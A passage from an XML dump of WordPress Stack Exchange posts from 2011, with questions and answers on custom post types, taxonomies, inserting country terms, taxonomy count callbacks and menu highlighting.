  <row Id="26416" PostTypeId="1" AcceptedAnswerId="26426" CreationDate="2011-08-20T15:52:59.580" Score="0" ViewCount="34" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://wordpress.org/support/topic/set-category-to-a-custom-post-type-automatically?replies=25#post-2028818&quot; rel=&quot;nofollow&quot;&gt;this excellent function&lt;/a&gt; to automatically add a category to my custom post type &quot;Videos&quot; on publish, if there's no category already chosen. This works great:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_video_category_automatically($post_ID) {&#xA;    global $wpdb;&#xA;    if(!has_term('','category',$post_ID)){&#xA;        $cat = array(394);&#xA;        wp_set_object_terms($post_ID, $cat, 'category');&#xA;    }&#xA;}&#xA;add_action('publish_videos', 'add_video_category_automatically');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, I'd really like to get the category ID via the slug, so that I don't have to change it manually when I'm testing on localhost vs the live site (which may have a different ID for that category as localhost and the live site aren't in sync). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a number of options but all of them result in a category of &quot;394&quot; being assigned to new posts, rather than &quot;Videos&quot;. Here's my latest attempt. Can you tell me where I'm going wrong? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_video_category_automatically($post_ID) {&#xA;    global $wpdb;&#xA;    if(!has_term('','category',$post_ID)){&#xA;        $category = get_term_by( 'slug', 'videos', 'category' );&#xA;        $cat = array($category-&amp;gt;term_id);&#xA;        wp_set_object_terms($post_ID, $cat, 'category');&#xA;    }&#xA;}&#xA;add_action('publish_videos', 'add_video_category_automatically');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-08-20T19:38:03.207" Title="Add category to custom post type automatically, using category slug" Tags="&lt;categories&gt;&lt;slug&gt;&lt;id&gt;" AnswerCount="1" />
  <row Id="26417" PostTypeId="1" AcceptedAnswerId="26480" CreationDate="2011-08-20T16:11:05.870" Score="0" ViewCount="34" Body="&lt;p&gt;I build a review site with Wordpress. I created a custom post type called &quot;Reviews&quot;, inside this, theres two taxonomy, one called &quot;Genres&quot; and one called &quot;Types&quot;. Inside the Genres, i have a couple of subcategory, action, comedy, drama etc... and inside the Types, i have 2 subcategory: Movies and TV Shows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create a navigation on my homepage like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Movies&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Action&lt;/li&gt;&#xA;&lt;li&gt;Comedy&lt;/li&gt;&#xA;&lt;li&gt;Drama&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tv Show&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Action&lt;/li&gt;&#xA;&lt;li&gt;Comedy&lt;/li&gt;&#xA;&lt;li&gt;Drama&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And of course, if i click on the Tv Shows/Action, i only want to display all of the reviews inside the Tv Shows category which has an Action genre, and only the TV show, not the movies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the easiest solution to do this?&lt;/p&gt;&#xA;" OwnerUserId="8038" LastActivityDate="2011-08-21T18:01:37.273" Title="Review site custom post type structure" Tags="&lt;custom-post-types&gt;&lt;taxonomy&gt;&lt;menus&gt;" AnswerCount="1" />
  <row Id="26418" PostTypeId="2" ParentId="12821" CreationDate="2011-08-20T16:53:05.380" Score="0" ViewCount="" Body="&lt;p&gt;Or just take out both &lt;code&gt;add_filters()&lt;/code&gt; for &lt;code&gt;the_content&lt;/code&gt; and &lt;code&gt;the_excerpt&lt;/code&gt; from sharing-service.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can manually put &lt;code&gt;&amp;lt;?php echo sharing_display(); ?&amp;gt;&lt;/code&gt;  in your theme's loop wherever you want the sharing bar to be located.&lt;/p&gt;&#xA;" OwnerUserId="8062" LastActivityDate="2011-08-20T16:53:05.380" />
  <row Id="26419" PostTypeId="2" ParentId="26415" CreationDate="2011-08-20T18:05:58.613" Score="1" ViewCount="" Body="&lt;p&gt;Ok I found the answer here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/no-featured-image-metabox-in-mu&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/no-featured-image-metabox-in-mu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&quot;On multisite, if you do not enable the IMAGE UPLOADS, under Network admin -&gt; Settings, then .... well, that kind precludes having featured images. Tick that box. Save. Featured images show up on the screen options tab.&quot;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2071" LastActivityDate="2011-08-20T18:05:58.613" />
  <row Id="26420" PostTypeId="1" CreationDate="2011-08-20T18:22:44.370" Score="1" ViewCount="44" Body="&lt;p&gt;Is there a quick way to add a list of countries as terms to a custom taxonomy called &quot;Country&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an existing import file, SQL script ect...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to be there all day manually adding them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas would be great.&lt;/p&gt;&#xA;" OwnerUserId="8063" LastActivityDate="2011-08-20T22:29:28.697" Title="Fast way to add countries as a custom taxonomy term?" Tags="&lt;customization&gt;&lt;taxonomy&gt;&lt;terms&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="26421" PostTypeId="2" ParentId="26420" CreationDate="2011-08-20T18:28:14.253" Score="1" ViewCount="" Body="&lt;p&gt;You can make your own script to import them using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_term&quot; rel=&quot;nofollow&quot;&gt;wp_insert_term&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-20T18:28:14.253" CommentCount="2" />
  <row Id="26422" PostTypeId="1" CreationDate="2011-08-20T18:28:47.423" Score="0" ViewCount="13" Body="&lt;p&gt;I saw your example of splitting categories into columns.  I am trying to do the same thing, but split by category id to display the post within the category.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the example I saw:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$get_cats = wp_list_categories( 'echo=0&amp;amp;title_li=&amp;amp;depth=1&amp;amp;hide_empty=0' );&#xA;// Get cats &#xA;&#xA;$cat_array = explode('&amp;lt;/li&amp;gt;',$get_cats);&#xA;// Split into array items&#xA;&#xA;$columns = 4;&#xA;// How many columns (virtual)&#xA;&#xA;$cats_shown = 0;&#xA;// Don't touch this, this is just a counter (used below)&#xA;&#xA;echo '&amp;lt;ul style=&quot;display:inline;&quot;&amp;gt;';&#xA;&#xA;foreach($cat_array as $category) {&#xA;    $cats_shown++;&#xA;&#xA;    // The 2 lines below can be removed if you apply the style definitions to the classes (ie. cat-item, cat-item a etc..)&#xA;    // This was just quicker and easier for me to use whilst testing the code.&#xA;    $category = str_replace('&amp;lt;li','&amp;lt;li style=&quot;display:inline&quot;',$category);&#xA;    $category = str_replace('&amp;lt;a href','&amp;lt;a style=&quot;width:160px;display:block;float:left&quot; href',$category);&#xA;&#xA;    if($cats_shown % $columns == 0) {&#xA;        // If the counter is a multiple of the columns to show&#xA;        print $category.'&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;ul style=&quot;display:inline;&quot;&amp;gt;';&#xA;    }&#xA;    else {&#xA;        // Else just a regular item&#xA;        print $category.'&amp;lt;/li&amp;gt;';&#xA;    }&#xA;}&#xA;echo '&amp;lt;/ul&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8065" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-08-20T19:48:29.660" LastActivityDate="2011-08-20T19:48:29.660" Title="3 column by category id in sidebar" Tags="&lt;categories&gt;&lt;sidebar&gt;" />
  <row Id="26423" PostTypeId="2" ParentId="23659" CreationDate="2011-08-20T18:41:48.753" Score="0" ViewCount="" Body="&lt;p&gt;The permalinks are not something that's &quot;generated&quot; per se... they're something that's parsed to point to a certain post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you imported posts using FeedWordPress, FeedWordPress doesn't do anything to actually change your permalink... it just creates a post meta field called 'syndication_permalink' that it then uses to filter functions like &lt;code&gt;get_permalink&lt;/code&gt; etc. If you delete that meta field or remove the filter (ie disabling the plugin), then functions like &lt;code&gt;get_permalink&lt;/code&gt; will point to the local post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, FWP includes a function for getting the local permalink. Try calling &lt;code&gt;get_local_permalink( $post_ID )&lt;/code&gt; for that.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-08-20T18:41:48.753" />
  <row Id="26426" PostTypeId="2" ParentId="26416" CreationDate="2011-08-20T19:38:03.207" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp_set_object_terms&lt;/code&gt; Works better with term slug instead of term id so change this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat = array($category-&amp;gt;term_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $cat = array($category-&amp;gt;slug);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-20T19:38:03.207" CommentCount="1" />
  <row Id="26427" PostTypeId="2" ParentId="15141" CreationDate="2011-08-20T20:04:55.000" Score="0" ViewCount="" Body="&lt;p&gt;This plugin do exactly what you want! &lt;a href=&quot;http://wordpress.org/extend/plugins/rv-submenus/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/rv-submenus/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8066" LastActivityDate="2011-08-20T20:04:55.000" CommentCount="1" />
  <row Id="26428" PostTypeId="2" ParentId="10196" CreationDate="2011-08-20T20:08:13.170" Score="0" ViewCount="" Body="&lt;p&gt;You can use this, to show submenu -&gt; &lt;a href=&quot;http://wordpress.org/extend/plugins/rv-submenus/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/rv-submenus/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8066" LastActivityDate="2011-08-20T20:08:13.170" />
  <row Id="26431" PostTypeId="2" ParentId="26420" CreationDate="2011-08-20T21:34:31.657" Score="2" ViewCount="" Body="&lt;p&gt;Try this. Note that I found this country array online and cannot vouch for it's accuracy. Also, I've set the taxonomy to the &quot;country&quot; taxonomy. Change all instances of that if it does not match your specific taxonomy name. You can add this to your functions.php file in your current theme. Reload WordPress and it should add them. Once they are added, delete this code. I did put a check in there to make sure they aren't added twice.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'add_countries', 100);&#xA;&#xA;function add_countries()&#xA;{&#xA;    $country_array = array(&#xA;        'AF'=&amp;gt;'AFGHANISTAN',&#xA;        'AL'=&amp;gt;'ALBANIA',&#xA;        'DZ'=&amp;gt;'ALGERIA',&#xA;        'AS'=&amp;gt;'AMERICAN SAMOA',&#xA;        'AD'=&amp;gt;'ANDORRA',&#xA;        'AO'=&amp;gt;'ANGOLA',&#xA;        'AI'=&amp;gt;'ANGUILLA',&#xA;        'AQ'=&amp;gt;'ANTARCTICA',&#xA;        'AG'=&amp;gt;'ANTIGUA AND BARBUDA',&#xA;        'AR'=&amp;gt;'ARGENTINA',&#xA;        'AM'=&amp;gt;'ARMENIA',&#xA;        'AW'=&amp;gt;'ARUBA',&#xA;        'AU'=&amp;gt;'AUSTRALIA',&#xA;        'AT'=&amp;gt;'AUSTRIA',&#xA;        'AZ'=&amp;gt;'AZERBAIJAN',&#xA;        'BS'=&amp;gt;'BAHAMAS',&#xA;        'BH'=&amp;gt;'BAHRAIN',&#xA;        'BD'=&amp;gt;'BANGLADESH',&#xA;        'BB'=&amp;gt;'BARBADOS',&#xA;        'BY'=&amp;gt;'BELARUS',&#xA;        'BE'=&amp;gt;'BELGIUM',&#xA;        'BZ'=&amp;gt;'BELIZE',&#xA;        'BJ'=&amp;gt;'BENIN',&#xA;        'BM'=&amp;gt;'BERMUDA',&#xA;        'BT'=&amp;gt;'BHUTAN',&#xA;        'BO'=&amp;gt;'BOLIVIA',&#xA;        'BA'=&amp;gt;'BOSNIA AND HERZEGOVINA',&#xA;        'BW'=&amp;gt;'BOTSWANA',&#xA;        'BV'=&amp;gt;'BOUVET ISLAND',&#xA;        'BR'=&amp;gt;'BRAZIL',&#xA;        'IO'=&amp;gt;'BRITISH INDIAN OCEAN TERRITORY',&#xA;        'BN'=&amp;gt;'BRUNEI DARUSSALAM',&#xA;        'BG'=&amp;gt;'BULGARIA',&#xA;        'BF'=&amp;gt;'BURKINA FASO',&#xA;        'BI'=&amp;gt;'BURUNDI',&#xA;        'KH'=&amp;gt;'CAMBODIA',&#xA;        'CM'=&amp;gt;'CAMEROON',&#xA;        'CA'=&amp;gt;'CANADA',&#xA;        'CV'=&amp;gt;'CAPE VERDE',&#xA;        'KY'=&amp;gt;'CAYMAN ISLANDS',&#xA;        'CF'=&amp;gt;'CENTRAL AFRICAN REPUBLIC',&#xA;        'TD'=&amp;gt;'CHAD',&#xA;        'CL'=&amp;gt;'CHILE',&#xA;        'CN'=&amp;gt;'CHINA',&#xA;        'CX'=&amp;gt;'CHRISTMAS ISLAND',&#xA;        'CC'=&amp;gt;'COCOS (KEELING) ISLANDS',&#xA;        'CO'=&amp;gt;'COLOMBIA',&#xA;        'KM'=&amp;gt;'COMOROS',&#xA;        'CG'=&amp;gt;'CONGO',&#xA;        'CD'=&amp;gt;'CONGO, THE DEMOCRATIC REPUBLIC OF THE',&#xA;        'CK'=&amp;gt;'COOK ISLANDS',&#xA;        'CR'=&amp;gt;'COSTA RICA',&#xA;        'CI'=&amp;gt;'COTE D IVOIRE',&#xA;        'HR'=&amp;gt;'CROATIA',&#xA;        'CU'=&amp;gt;'CUBA',&#xA;        'CY'=&amp;gt;'CYPRUS',&#xA;        'CZ'=&amp;gt;'CZECH REPUBLIC',&#xA;        'DK'=&amp;gt;'DENMARK',&#xA;        'DJ'=&amp;gt;'DJIBOUTI',&#xA;        'DM'=&amp;gt;'DOMINICA',&#xA;        'DO'=&amp;gt;'DOMINICAN REPUBLIC',&#xA;        'TP'=&amp;gt;'EAST TIMOR',&#xA;        'EC'=&amp;gt;'ECUADOR',&#xA;        'EG'=&amp;gt;'EGYPT',&#xA;        'SV'=&amp;gt;'EL SALVADOR',&#xA;        'GQ'=&amp;gt;'EQUATORIAL GUINEA',&#xA;        'ER'=&amp;gt;'ERITREA',&#xA;        'EE'=&amp;gt;'ESTONIA',&#xA;        'ET'=&amp;gt;'ETHIOPIA',&#xA;        'FK'=&amp;gt;'FALKLAND ISLANDS (MALVINAS)',&#xA;        'FO'=&amp;gt;'FAROE ISLANDS',&#xA;        'FJ'=&amp;gt;'FIJI',&#xA;        'FI'=&amp;gt;'FINLAND',&#xA;        'FR'=&amp;gt;'FRANCE',&#xA;        'GF'=&amp;gt;'FRENCH GUIANA',&#xA;        'PF'=&amp;gt;'FRENCH POLYNESIA',&#xA;        'TF'=&amp;gt;'FRENCH SOUTHERN TERRITORIES',&#xA;        'GA'=&amp;gt;'GABON',&#xA;        'GM'=&amp;gt;'GAMBIA',&#xA;        'GE'=&amp;gt;'GEORGIA',&#xA;        'DE'=&amp;gt;'GERMANY',&#xA;        'GH'=&amp;gt;'GHANA',&#xA;        'GI'=&amp;gt;'GIBRALTAR',&#xA;        'GR'=&amp;gt;'GREECE',&#xA;        'GL'=&amp;gt;'GREENLAND',&#xA;        'GD'=&amp;gt;'GRENADA',&#xA;        'GP'=&amp;gt;'GUADELOUPE',&#xA;        'GU'=&amp;gt;'GUAM',&#xA;        'GT'=&amp;gt;'GUATEMALA',&#xA;        'GN'=&amp;gt;'GUINEA',&#xA;        'GW'=&amp;gt;'GUINEA-BISSAU',&#xA;        'GY'=&amp;gt;'GUYANA',&#xA;        'HT'=&amp;gt;'HAITI',&#xA;        'HM'=&amp;gt;'HEARD ISLAND AND MCDONALD ISLANDS',&#xA;        'VA'=&amp;gt;'HOLY SEE (VATICAN CITY STATE)',&#xA;        'HN'=&amp;gt;'HONDURAS',&#xA;        'HK'=&amp;gt;'HONG KONG',&#xA;        'HU'=&amp;gt;'HUNGARY',&#xA;        'IS'=&amp;gt;'ICELAND',&#xA;        'IN'=&amp;gt;'INDIA',&#xA;        'ID'=&amp;gt;'INDONESIA',&#xA;        'IR'=&amp;gt;'IRAN, ISLAMIC REPUBLIC OF',&#xA;        'IQ'=&amp;gt;'IRAQ',&#xA;        'IE'=&amp;gt;'IRELAND',&#xA;        'IL'=&amp;gt;'ISRAEL',&#xA;        'IT'=&amp;gt;'ITALY',&#xA;        'JM'=&amp;gt;'JAMAICA',&#xA;        'JP'=&amp;gt;'JAPAN',&#xA;        'JO'=&amp;gt;'JORDAN',&#xA;        'KZ'=&amp;gt;'KAZAKSTAN',&#xA;        'KE'=&amp;gt;'KENYA',&#xA;        'KI'=&amp;gt;'KIRIBATI',&#xA;        'KP'=&amp;gt;'KOREA DEMOCRATIC PEOPLES REPUBLIC OF',&#xA;        'KR'=&amp;gt;'KOREA REPUBLIC OF',&#xA;        'KW'=&amp;gt;'KUWAIT',&#xA;        'KG'=&amp;gt;'KYRGYZSTAN',&#xA;        'LA'=&amp;gt;'LAO PEOPLES DEMOCRATIC REPUBLIC',&#xA;        'LV'=&amp;gt;'LATVIA',&#xA;        'LB'=&amp;gt;'LEBANON',&#xA;        'LS'=&amp;gt;'LESOTHO',&#xA;        'LR'=&amp;gt;'LIBERIA',&#xA;        'LY'=&amp;gt;'LIBYAN ARAB JAMAHIRIYA',&#xA;        'LI'=&amp;gt;'LIECHTENSTEIN',&#xA;        'LT'=&amp;gt;'LITHUANIA',&#xA;        'LU'=&amp;gt;'LUXEMBOURG',&#xA;        'MO'=&amp;gt;'MACAU',&#xA;        'MK'=&amp;gt;'MACEDONIA, THE FORMER YUGOSLAV REPUBLIC OF',&#xA;        'MG'=&amp;gt;'MADAGASCAR',&#xA;        'MW'=&amp;gt;'MALAWI',&#xA;        'MY'=&amp;gt;'MALAYSIA',&#xA;        'MV'=&amp;gt;'MALDIVES',&#xA;        'ML'=&amp;gt;'MALI',&#xA;        'MT'=&amp;gt;'MALTA',&#xA;        'MH'=&amp;gt;'MARSHALL ISLANDS',&#xA;        'MQ'=&amp;gt;'MARTINIQUE',&#xA;        'MR'=&amp;gt;'MAURITANIA',&#xA;        'MU'=&amp;gt;'MAURITIUS',&#xA;        'YT'=&amp;gt;'MAYOTTE',&#xA;        'MX'=&amp;gt;'MEXICO',&#xA;        'FM'=&amp;gt;'MICRONESIA, FEDERATED STATES OF',&#xA;        'MD'=&amp;gt;'MOLDOVA, REPUBLIC OF',&#xA;        'MC'=&amp;gt;'MONACO',&#xA;        'MN'=&amp;gt;'MONGOLIA',&#xA;        'MS'=&amp;gt;'MONTSERRAT',&#xA;        'MA'=&amp;gt;'MOROCCO',&#xA;        'MZ'=&amp;gt;'MOZAMBIQUE',&#xA;        'MM'=&amp;gt;'MYANMAR',&#xA;        'NA'=&amp;gt;'NAMIBIA',&#xA;        'NR'=&amp;gt;'NAURU',&#xA;        'NP'=&amp;gt;'NEPAL',&#xA;        'NL'=&amp;gt;'NETHERLANDS',&#xA;        'AN'=&amp;gt;'NETHERLANDS ANTILLES',&#xA;        'NC'=&amp;gt;'NEW CALEDONIA',&#xA;        'NZ'=&amp;gt;'NEW ZEALAND',&#xA;        'NI'=&amp;gt;'NICARAGUA',&#xA;        'NE'=&amp;gt;'NIGER',&#xA;        'NG'=&amp;gt;'NIGERIA',&#xA;        'NU'=&amp;gt;'NIUE',&#xA;        'NF'=&amp;gt;'NORFOLK ISLAND',&#xA;        'MP'=&amp;gt;'NORTHERN MARIANA ISLANDS',&#xA;        'NO'=&amp;gt;'NORWAY',&#xA;        'OM'=&amp;gt;'OMAN',&#xA;        'PK'=&amp;gt;'PAKISTAN',&#xA;        'PW'=&amp;gt;'PALAU',&#xA;        'PS'=&amp;gt;'PALESTINIAN TERRITORY, OCCUPIED',&#xA;        'PA'=&amp;gt;'PANAMA',&#xA;        'PG'=&amp;gt;'PAPUA NEW GUINEA',&#xA;        'PY'=&amp;gt;'PARAGUAY',&#xA;        'PE'=&amp;gt;'PERU',&#xA;        'PH'=&amp;gt;'PHILIPPINES',&#xA;        'PN'=&amp;gt;'PITCAIRN',&#xA;        'PL'=&amp;gt;'POLAND',&#xA;        'PT'=&amp;gt;'PORTUGAL',&#xA;        'PR'=&amp;gt;'PUERTO RICO',&#xA;        'QA'=&amp;gt;'QATAR',&#xA;        'RE'=&amp;gt;'REUNION',&#xA;        'RO'=&amp;gt;'ROMANIA',&#xA;        'RU'=&amp;gt;'RUSSIAN FEDERATION',&#xA;        'RW'=&amp;gt;'RWANDA',&#xA;        'SH'=&amp;gt;'SAINT HELENA',&#xA;        'KN'=&amp;gt;'SAINT KITTS AND NEVIS',&#xA;        'LC'=&amp;gt;'SAINT LUCIA',&#xA;        'PM'=&amp;gt;'SAINT PIERRE AND MIQUELON',&#xA;        'VC'=&amp;gt;'SAINT VINCENT AND THE GRENADINES',&#xA;        'WS'=&amp;gt;'SAMOA',&#xA;        'SM'=&amp;gt;'SAN MARINO',&#xA;        'ST'=&amp;gt;'SAO TOME AND PRINCIPE',&#xA;        'SA'=&amp;gt;'SAUDI ARABIA',&#xA;        'SN'=&amp;gt;'SENEGAL',&#xA;        'SC'=&amp;gt;'SEYCHELLES',&#xA;        'SL'=&amp;gt;'SIERRA LEONE',&#xA;        'SG'=&amp;gt;'SINGAPORE',&#xA;        'SK'=&amp;gt;'SLOVAKIA',&#xA;        'SI'=&amp;gt;'SLOVENIA',&#xA;        'SB'=&amp;gt;'SOLOMON ISLANDS',&#xA;        'SO'=&amp;gt;'SOMALIA',&#xA;        'ZA'=&amp;gt;'SOUTH AFRICA',&#xA;        'GS'=&amp;gt;'SOUTH GEORGIA AND THE SOUTH SANDWICH ISLANDS',&#xA;        'ES'=&amp;gt;'SPAIN',&#xA;        'LK'=&amp;gt;'SRI LANKA',&#xA;        'SD'=&amp;gt;'SUDAN',&#xA;        'SR'=&amp;gt;'SURINAME',&#xA;        'SJ'=&amp;gt;'SVALBARD AND JAN MAYEN',&#xA;        'SZ'=&amp;gt;'SWAZILAND',&#xA;        'SE'=&amp;gt;'SWEDEN',&#xA;        'CH'=&amp;gt;'SWITZERLAND',&#xA;        'SY'=&amp;gt;'SYRIAN ARAB REPUBLIC',&#xA;        'TW'=&amp;gt;'TAIWAN, PROVINCE OF CHINA',&#xA;        'TJ'=&amp;gt;'TAJIKISTAN',&#xA;        'TZ'=&amp;gt;'TANZANIA, UNITED REPUBLIC OF',&#xA;        'TH'=&amp;gt;'THAILAND',&#xA;        'TG'=&amp;gt;'TOGO',&#xA;        'TK'=&amp;gt;'TOKELAU',&#xA;        'TO'=&amp;gt;'TONGA',&#xA;        'TT'=&amp;gt;'TRINIDAD AND TOBAGO',&#xA;        'TN'=&amp;gt;'TUNISIA',&#xA;        'TR'=&amp;gt;'TURKEY',&#xA;        'TM'=&amp;gt;'TURKMENISTAN',&#xA;        'TC'=&amp;gt;'TURKS AND CAICOS ISLANDS',&#xA;        'TV'=&amp;gt;'TUVALU',&#xA;        'UG'=&amp;gt;'UGANDA',&#xA;        'UA'=&amp;gt;'UKRAINE',&#xA;        'AE'=&amp;gt;'UNITED ARAB EMIRATES',&#xA;        'GB'=&amp;gt;'UNITED KINGDOM',&#xA;        'US'=&amp;gt;'UNITED STATES',&#xA;        'UM'=&amp;gt;'UNITED STATES MINOR OUTLYING ISLANDS',&#xA;        'UY'=&amp;gt;'URUGUAY',&#xA;        'UZ'=&amp;gt;'UZBEKISTAN',&#xA;        'VU'=&amp;gt;'VANUATU',&#xA;        'VE'=&amp;gt;'VENEZUELA',&#xA;        'VN'=&amp;gt;'VIET NAM',&#xA;        'VG'=&amp;gt;'VIRGIN ISLANDS, BRITISH',&#xA;        'VI'=&amp;gt;'VIRGIN ISLANDS, U.S.',&#xA;        'WF'=&amp;gt;'WALLIS AND FUTUNA',&#xA;        'EH'=&amp;gt;'WESTERN SAHARA',&#xA;        'YE'=&amp;gt;'YEMEN',&#xA;        'YU'=&amp;gt;'YUGOSLAVIA',&#xA;        'ZM'=&amp;gt;'ZAMBIA',&#xA;        'ZW'=&amp;gt;'ZIMBABWE',&#xA;    );&#xA;&#xA;    // Loop through array and insert terms&#xA;    foreach($country_array as $abbr =&amp;gt; $name)&#xA;    {&#xA;        if(!get_term_by('name', ucwords(strtolower($name)), 'country'))&#xA;            wp_insert_term(ucwords(strtolower($name)), 'country');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4850" LastEditorUserId="4850" LastEditorDisplayName="" LastEditDate="2011-08-20T22:29:28.697" LastActivityDate="2011-08-20T22:29:28.697" CommentCount="6" />
  <row Id="26432" PostTypeId="1" CreationDate="2011-08-20T22:12:42.190" Score="0" ViewCount="14" Body="&lt;p&gt;When wp_nav_menu renders, both the Blog link and my Custom Post Type are tagged with current-menu-item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3014/highlighting-wp-nav-menu-ancestor-class-w-o-children-in-nav-structure/26430#26430&quot;&gt;Highlighting wp_nav_menu() Ancestor Class w/o Children in Nav Structure?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8067" LastActivityDate="2011-08-20T22:12:42.190" Title="Duplicate current menu items" Tags="&lt;custom-post-type-archives&gt;" />
  <row Id="26433" PostTypeId="2" ParentId="26409" CreationDate="2011-08-20T22:22:01.593" Score="0" ViewCount="" Body="&lt;p&gt;I think I've worked this out. First of all, you need to define your taxonomy. I'm pulling this code directly from the codex; however, I've added one parameter &lt;code&gt;update_count_callback&lt;/code&gt;. I've set this to the cleverly titled &lt;code&gt;my_update_count_callback&lt;/code&gt;. This just specifies that when a post of type &lt;code&gt;post&lt;/code&gt; (this will be whatever CPTs you associate the taxonomy with) is added or updated, this function will be executed instead of the normal routine for updating the count. The taxonomy is registered with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'add_taxonomy');&#xA;function add_taxonomy()&#xA;{&#xA;    // Add new taxonomy, make it hierarchical (like categories)&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x( 'Genres', 'taxonomy general name' ),&#xA;        'singular_name' =&amp;gt; _x( 'Genre', 'taxonomy singular name' ),&#xA;        'search_items' =&amp;gt;  __( 'Search Genres' ),&#xA;        'all_items' =&amp;gt; __( 'All Genres' ),&#xA;        'parent_item' =&amp;gt; __( 'Parent Genre' ),&#xA;        'parent_item_colon' =&amp;gt; __( 'Parent Genre:' ),&#xA;        'edit_item' =&amp;gt; __( 'Edit Genre' ),&#xA;        'update_item' =&amp;gt; __( 'Update Genre' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Genre' ),&#xA;        'new_item_name' =&amp;gt; __( 'New Genre Name' ),&#xA;        'menu_name' =&amp;gt; __( 'Genre' ),&#xA;    );&#xA;&#xA;    register_taxonomy(&#xA;        'genre',&#xA;        array('post'),&#xA;        array(&#xA;            'hierarchical' =&amp;gt; true,&#xA;            'labels' =&amp;gt; $labels,&#xA;            'show_ui' =&amp;gt; true,&#xA;            'query_var' =&amp;gt; true,&#xA;            'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'genre' ),&#xA;            'update_count_callback' =&amp;gt; 'my_update_count_callback'&#xA;        )&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's the straight forward part. Next, I defined the callback. Note that this callback will take two parameters &lt;code&gt;terms&lt;/code&gt; (the term ids associated with the CPT) and &lt;code&gt;taxonomy&lt;/code&gt; (the name of the taxonomy). The normal update function is defined in taxonomy.php around line 2435. If you have a specified callback, it will run that routine and not the normal one. For my function below, I have simply modified the normal code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_update_count_callback($terms, $taxonomy)&#xA;{&#xA;    global $wpdb;&#xA;    foreach ( (array) $terms as $term)&#xA;    {&#xA;        do_action( 'edit_term_taxonomy', $term, $taxonomy );&#xA;&#xA;        // Do stuff to get your count&#xA;        $count = 15;&#xA;&#xA;        $wpdb-&amp;gt;update( $wpdb-&amp;gt;term_taxonomy, array( 'count' =&amp;gt; $count ), array( 'term_taxonomy_id' =&amp;gt; $term ) );&#xA;        do_action( 'edited_term_taxonomy', $term, $taxonomy );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All you need to do is write your routines for getting your count and then update the count. Note that I left in the two &lt;code&gt;do_action&lt;/code&gt; calls as the normal function allows for code to be injected here. I think it's important to leave those in there so that your plugin won't cause other ones to malfunction.&lt;/p&gt;&#xA;" OwnerUserId="4850" 